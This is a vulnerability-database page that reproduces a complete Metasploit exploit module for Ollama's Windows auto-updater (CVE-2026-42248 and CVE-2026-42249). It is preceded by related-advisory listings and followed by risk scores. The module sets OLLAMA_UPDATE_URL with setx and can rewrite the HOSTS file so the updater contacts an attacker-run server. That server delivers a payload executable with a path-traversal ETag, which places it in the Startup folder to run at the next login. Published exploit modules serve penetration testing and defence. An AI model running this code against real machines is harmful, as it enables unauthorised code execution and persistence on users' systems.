Ollama Windows Auto-Update Path Traversal Persistence
🗓️ 29 Apr 2026 00:00:00Reported by Bartłomiej Dmitruk, h00dieType
metasploit🔗 www.rapid7.com👁 3 Views
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| CVE-2026-42249 | 29 Apr 202611:44 | – | attackerkb | |
| CVE-2026-42248 | 29 Apr 202611:44 | – | attackerkb | |
| CVE-2026-42248 | 29 Apr 202611:44 | – | alpinelinux | |
| CVE-2026-42249 | 29 Apr 202611:44 | – | alpinelinux | |
| The vulnerability of Ollama’s system for running and managing large language models lies in the fact that code is loaded without any checks for its integrity, allowing attackers to execute arbitrary code. | 10 Jun 202600:00 | – | bdu_fstec | |
| The vulnerability of Ollama’s system for running and managing large language models lies in its improper name restriction for the path to the catalog, allowing a violator to execute arbitrary code. | 10 Jun 202600:00 | – | bdu_fstec | |
| CVE-2026-42248 | 29 Apr 202603:55 | – | circl | |
| CVE-2026-42249 | 29 Apr 202603:55 | – | circl | |
| Ollama 路径遍历漏洞 | 29 Apr 202600:00 | – | cnnvd | |
| Ollama 安全漏洞 | 29 Apr 202600:00 | – | cnnvd |
10
# frozen_string_literal: true
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Local::Persistence
include Msf::Post::Windows::Registry
prepend Msf::Exploit::Remote::AutoCheck
HOSTS_PATH = 'C:\\Windows\\System32\\drivers\\etc\\hosts'
UPDATE_HOSTNAME = 'ollama.com'
PAYLOAD_FILENAME = 'OllamaSetup.exe'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ollama Windows Auto-Update Path Traversal Persistence',
'Description' => %q{
Ollama for Windows versions 0.12.10 through 0.22.1 are vulnerable to a
path traversal attack (CVE-2026-42249) in the auto-update download mechanism,
combined with a completely absent signature verification function
(CVE-2026-42248). Payloads are written to the startup folder
and executed at next login.
},
'Author' => [
'Bartłomiej Dmitruk', # Discovery and PoC
'h00die' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-42248'],
['CVE', '2026-42249'],
['URL', 'https://www.striga.ai/research/ollama-windows-auto-update-rce'],
['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION]
],
'Platform' => ['win'],
'Arch' => [ARCH_X64, ARCH_X86],
'SessionTypes' => ['meterpreter'],
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-04-29',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES],
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION]
}
)
)
register_options([
OptBool.new('MODIFY_HOSTS', [true, 'Also add an ollama.com entry to the HOSTS file (setx always runs regardless)', false]),
OptString.new('BASE_PATH', [false, 'Base URI path for the fake update server.', '/'])
])
end
def check
raw = create_process('ollama', args: ['--version'])
return CheckCode::Unknown('ollama binary not found or returned no output') if raw.nil? || raw.strip.empty?
# "ollama version 0.21.0" or just "0.22.1"
version_str = raw.strip.match(/(\d+\.\d+\.\d+)/)&.captures&.first
return CheckCode::Unknown("Could not parse version from: #{raw.strip}") unless version_str
vprint_status("Ollama version detected: #{version_str}")
target_v = Rex::Version.new(version_str)
vuln_min = Rex::Version.new('0.12.10')
vuln_max = Rex::Version.new('0.22.1') # patched in 0.23.0, unmentioned in patch notes, but tested and is fixed
unless target_v >= vuln_min && target_v <= vuln_max
return CheckCode::Safe("Ollama #{version_str} is not vulnerable")
end
CheckCode::Appears("Ollama #{version_str} is vulnerable")
end
def install_persistence
@payload_name = PAYLOAD_FILENAME
@payload_exe = generate_payload_exe
# filepath.Join(UpdateStageDir, etag, filename) is resolved without sanitisation.
# UpdateStageDir = %APPDATA%\Ollama\updates = ...\AppData\Roaming\Ollama\updates
# Three ".." hops: updates -> Ollama -> Roaming -> AppData
# Then down into Roaming\Microsoft\Windows\Start Menu\Programs\Startup
@etag_traversal = '../../../Roaming/Microsoft/Windows/Start Menu/Programs/Startup'
configured = datastore['BASE_PATH'].to_s.strip
configured = '/' if configured.empty?
@base_path = configured.start_with?('/') ? configured : "/#{configured}"
print_status("Starting fake update server on #{Rex::Socket.to_authority(srvhost_addr, srvport)}")
begin
start_service({
'Uri' => {
'Proc' => method(:on_request_uri),
'Path' => @base_path
}
})
rescue RuntimeError => e
raise unless e.message.include?('already added')
# ServiceManager returned an existing server that still has this path registered
# from a previous run. Replace the stale handler with the current one.
remove_resource(@base_path)
add_resource({ 'Path' => @base_path, 'Proc' => method(:on_request_uri) })
print_status('Reusing existing HTTP service with updated handler')
end
url_base = @base_path == '/' ? '' : @base_path
update_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{url_base}/api/update"
configure_update_url(update_url)
modify_hosts_file if datastore['MODIFY_HOSTS']
print_status("Payload will land at: %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\#{@payload_name}")
print_status('Waiting for Ollama background update poller to fire...')
report_vuln(
host: session.session_host,
name: 'Ollama Windows Auto-Update Path Traversal Persistence',
refs: references
)
end
def on_request_uri(cli, request)
vprint_status("#{request.method} #{request.uri}")
path = request.uri.split('?').first
if path.end_with?('/api/update')
serve_update_check(cli, request)
elsif path.include?('/download/')
serve_payload(cli, request)
else
send_response(cli, '', { 'code' => 404 })
end
end
private
def configure_update_url(update_url)
# setx writes the variable permanently into HKCU\Environment — survives reboot
# and is visible to all future processes for this user, including the Ollama updater.
result = create_process('setx', args: ['OLLAMA_UPDATE_URL', update_url])
if result =~ /SUCCESS/i
print_good("OLLAMA_UPDATE_URL set via setx: #{update_url}")
@clean_up_rc << "execute -f cmd.exe -a '/c reg delete HKCU\\\\Environment /v OLLAMA_UPDATE_URL /f' -H\n"
else
print_warning("setx may have failed (#{result.strip}) — try setting OLLAMA_UPDATE_URL manually")
end
end
def modify_hosts_file
unless file_exist?(HOSTS_PATH)
print_warning("HOSTS file not found at #{HOSTS_PATH} — skipping hosts modification")
return
end
current = read_file(HOSTS_PATH) || ''
entry = "#{srvhost_addr}\t#{UPDATE_HOSTNAME}"
if current.include?(UPDATE_HOSTNAME)
print_warning("#{UPDATE_HOSTNAME} already present in HOSTS file — skipping")
return
end
updated = current.rstrip + "\r\n#{entry}\r\n"
unless write_file(HOSTS_PATH, updated)
fail_with(Failure::NoAccess, "Failed to update #{HOSTS_PATH}; administrative privileges may be required")
end
print_good("Added '#{entry}' to #{HOSTS_PATH}")
@clean_up_rc << "execute -f cmd.exe -a '/c findstr /v /i /c:\"#{entry}\" \"#{HOSTS_PATH}\" > \"#{HOSTS_PATH}.tmp\" & move /y \"#{HOSTS_PATH}.tmp\" \"#{HOSTS_PATH}\"' -H\n"
end
def serve_update_check(cli, request)
client_version = request.qstring['version']
fake_version = client_version ? Rex::Version.new(client_version).bump.to_s : '0.23'
url_base = @base_path == '/' ? '' : @base_path
download_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{url_base}/download/OllamaSetup.exe"
body = { 'version' => fake_version, 'url' => download_url }.to_json
print_status("Update check received (client #{client_version}) — advertising #{fake_version}")
send_response(cli, body, {
'Content-Type' => 'application/json',
'code' => 200
})
end
def serve_payload(cli, request)
headers = {
'Content-Type' => 'application/octet-stream',
'Content-Length' => @payload_exe.length.to_s,
'ETag' => @etag_traversal,
'Content-Disposition' => "attachment; filename=\"#{@payload_name}\""
}
if request.method == 'HEAD'
send_response(cli, '', headers.merge('code' => 200))
else
send_response(cli, @payload_exe, headers.merge('code' => 200))
print_good("Payload served as #{@etag_traversal}/#{@payload_name} — will execute silently at next user login")
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Apr 2026 00:00Current
5.7Medium risk
Vulners AI Score5.7
CVSS 3.19.8
CVSS 47.7
EPSS0.00986
SSVC